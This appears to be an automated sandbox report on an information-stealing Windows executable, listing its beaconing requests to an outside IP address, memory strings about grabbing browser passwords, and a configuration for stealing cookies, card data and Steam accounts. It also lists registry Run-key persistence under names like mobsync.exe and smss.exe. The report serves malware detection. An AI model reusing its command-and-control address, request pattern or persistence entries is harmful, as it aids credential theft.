"2c16ab42a9ec431843e9303d0fd9b8ec=" in header "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 78.24.221.196Connection: Keep-Alive" Contains base62 string in header "a5f9089893fb7f884e1a8d017251cf23=" in header "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 78.24.221.196Connection: Keep-Alive" Contains base62 string in header "gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFW" in header "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1Accept: */*Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 78.24.221.196Connection: Keep-Alive" Contains base62 string in header "TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2" in header "GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 78.24.221.196Connection: Keep-Alive" Contains base62 string in header "2c16ab42a9ec431843e9303d0fd9b8ec=" in header "GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 78.24.221.196Connection: Keep-Alive" Contains base62 string in header "a5f9089893fb7f884e1a8d017251cf23=" in header "GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 78.24.221.196Connection: Keep-Alive" Contains base62 string in header "gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFW" in header "GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 78.24.221.196Connection: Keep-Alive" Contains base62 string in header "nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7" in header "GET /destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Host: 78.24.221.196Connection: Keep-Alive" Contains base62 string in header "2c16ab42a9ec431843e9303d0fd9b8ec=" in header "GET /destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Host: 78.24.221.196Connection: Keep-Alive" Contains base62 string in header "a5f9089893fb7f884e1a8d017251cf23=" in header "GET /destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Host: 78.24.221.196Connection: Keep-Alive" Contains base62 string in header "gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFW" in header "GET /destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Host: 78.24.221.196Connection: Keep-Alive"48:T427,Found string "+ncalrpc:[OLE5189462FB1F64E89BA33F99FEC5D]" (Indicator: "ncalrpc"; Source: "00000000-00001400.00000001.139922.00690000.00000004.mdmp") Found string "+ncalrpc:[OLE0933B48925D745CD9CF182B022EA]" (Indicator: "ncalrpc"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "+ncalrpc:[OLE925F553673E3493D8A47891C435D]" (Indicator: "ncalrpc"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "B+ncalrpc:[OLE0933B48925D745CD9CF182B022EA]" (Indicator: "ncalrpc"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "+ncalrpc:[OLE4B910274D7544938BBB6C1DAF285]" (Indicator: "ncalrpc"; Source: "00000000-00003900.00000001.137884.00330000.00000004.mdmp") Found string "+ncalrpc:[OLEF20E723A16A84F33AB91D276426A]" (Indicator: "ncalrpc"; Source: "00000000-00004000.00000001.134249.001C0000.00000004.mdmp")49:Tbac,"8B744166EECACE320158F4D0F704B13E.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00003772)4a:T127b,Found string "P~AeS" (Indicator: "aes"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found string "PQAeS~" (Indicator: "aes"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found string "M0DP5vAcLeaeskzgRgZ0" (Indicator: "aes"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found string "Aes63PMqWIv79SF3HgF3" (Indicator: "aes"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found string "WHaeSsL1Rsfj9rxYFR44" (Indicator: "aes"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found string "dIbK5OubCWW7B3aeSrn5" (Indicator: "aes"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found string "awGJaEsEF4J2ztPpveQ9" (Indicator: "aes"; File: "8B744166EECACE320158F4D0F704B13E.exe") file/memory contains long string with (Indicator: "rsa2"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found string "description="Uses RsaCryptoServiceProvider to encrypt and decrypt"" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00001400.00000000.139092.00690000.00000004.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00001400.00000001.139922.00690000.00000004.mdmp") Found string "crosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00001400.00000001.139922.00690000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00001400.00000001.139922.00690000.00000004.mdmp") Found string "?e#AeS" (Indicator: "aes"; Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found string "description="Uses RsaCryptoServiceProvider to encrypt and decrypt"" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00003772.00000000.132948.000C0000.00000004.mdmp, 00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "crosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "Uses RsaCryptoServiceProvider to encrypt and decrypt" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "System.Security.Cryptography.SHA1" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp")4b:T122a,Found string "passwords" (Indicator: "password"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found string "[Browsers] Grabbing passwords" (Indicator: "password"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found string "Grabbing passwords..." (Indicator: "password"; File: "8B744166EECACE320158F4D0F704B13E.exe") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00001400.00000000.139092.00690000.00000004.mdmp, 00000000-00001400.00000001.139922.00690000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00001400.00000000.139092.00690000.00000004.mdmp, 00000000-00001400.00000001.139922.00690000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00001400.00000000.139092.00690000.00000004.mdmp, 00000000-00001400.00000001.139922.00690000.00000004.mdmp") Found string "passwordStrengthRegularExpres" (Indicator: "password"; Source: "00000000-00001400.00000001.139922.00690000.00000004.mdmp") file/memory contains long string with (Indicator: "password"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "data\":false \"cookies\":true \"passwords\":true \"forms\":true \"cc\":true \"history\":false \"telegram\":false \"steam\":true " (Indicator: "password"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp"), Found string ""{\"ignorepartiallyemptydata\":false,\"cookies\":true,\"passwords\":true,\"forms\":true,\"cc\":true,\"history\":false,\"telegram\":false,\"steam\":true,\"discord\":false,\"filezilla\":false,\"screenshot\":false,\"clipboard\":false,\"sysinfo\":false}"" (Indicator: "password"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp"), Found string "{\"ignorepartiallyemptydata\":false \"cookies\":true \"passwords\":true \"forms\":true \"cc\":true \"history\":false \"telegram\":false \"steam\":true \"discord\":false \"filezilla\":false \"screenshot\":false \"clipboard\":false \"sysinfo\":false}" (Indicator: "password"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp"), Found string "{"ignorepartiallyemptydata":false "cookies":true "passwords":true "forms":true "cc":true "history":false "telegram":false "steam":true "discord":false "filezilla":false "screenshot":false "clipboard":false "sysinfo":false}" (Indicator: "password"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp"), Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp"), Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp"), Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp"), Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp"), Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp"), Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00003772.00000001.133404.02050000.00000004.mdmp"), Found string "passwordAttZ" (Indicator: "password"; Source: "00000000-00003900.00000001.137884.00330000.00000004.mdmp"), Found string "passwordStrengthReg" (Indicator: "password"; Source: "00000000-00003900.00000001.137884.00330000.00000004.mdmp"), Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00004000.00000000.133715.001C0000.00000004.mdmp 00000000-00004000.00000000.133715.01F80000.00000004.mdmp 00000000-00004000.00000001.134249.001C0000.00000004.mdmp"), Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00004000.00000000.133715.001C0000.00000004.mdmp 00000000-00004000.00000000.133715.01F80000.00000004.mdmp 00000000-00004000.00000001.134249.001C0000.00000004.mdmp"), Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00004000.00000000.133715.001C0000.00000004.mdmp 00000000-00004000.00000000.133715.01F80000.00000004.mdmp 00000000-00004000.00000001.134249.001C0000.00000004.mdmp"), file/memory contains long string with (Indicator: "password"; Source: "00000000-00004000.00000000.133715.01F80000.00000004.mdmp"), Found string "data\":false,\"cookies\":true,\"passwords\":true,\"forms\":true,\"cc\":true,\"history\":false,\"telegram\":false,\"steam\":true," (Indicator: "password"; Source: "00000000-00004000.00000000.133715.01F80000.00000004.mdmp")4c:T8f8,Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00001400.00000000.139092.00690000.00000004.mdmp, 00000000-00001400.00000001.139922.00690000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{90A066FE-591C-47F3-850D-96C:\Windows\tracing" (Indicator: "\Device\"; Source: "00000000-00001400.00000001.139922.00690000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00003772.00000000.132948.000C0000.00000004.mdmp, 00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "\Device\HarddiskVolume1\??\Volume{dcbfaac3-d863-11e7-b9ff-806e6f6e6963}" (Indicator: "\Device\"; Source: "00000000-00003772.00000001.133404.04B30000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00003900.00000000.137068.00330000.00000004.mdmp, 00000000-00003900.00000001.137884.00330000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00004000.00000000.133715.001C0000.00000004.mdmp, 00000000-00004000.00000001.134249.001C0000.00000004.mdmp")4d:T826,"8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "")4e:T4a4,"8B744166EECACE320158F4D0F704B13E.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "MOBSYNC"; Value: ""%WINDIR%\System32\ntdll\mobsync.exe"") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "MOBSYNC"; Value: ""%WINDIR%\System32\ntdll\mobsync.exe"") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "EXPLORER"; Value: ""%WINDIR%\py\explorer.exe"") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "EXPLORER"; Value: ""%WINDIR%\py\explorer.exe"") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "SMSS"; Value: ""%ALLUSERSPROFILE%\Package Cache\{410c0ee1-00bb-41b6-9772-e12c2828b02f}\smss.exe"") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "SMSS"; Value: ""%ALLUSERSPROFILE%\Package Cache\{410c0ee1-00bb-41b6-9772-e12c2828b02f}\smss.exe"")4f:T93d,Found string "HAPUBWS-PC\ROOT\CIMV2:Win32_Process" (Indicator: "root\cimv2"; in Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string ".\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp") Found string "\\HAPUBWS-PC\ROOT\CIMV2:Win32_Process" (Indicator: "root\cimv2"; in Source: "00000000-00003772.00000001.133404.000C0000.00000004.mdmp, 00000000-00003772.00000001.133404.02050000.00000004.mdmp") Found string "\HAPUBWS-PC\ROOT\cimv2:Win32_ProcessStartup" (Indicator: "root\cimv2"; in Source: 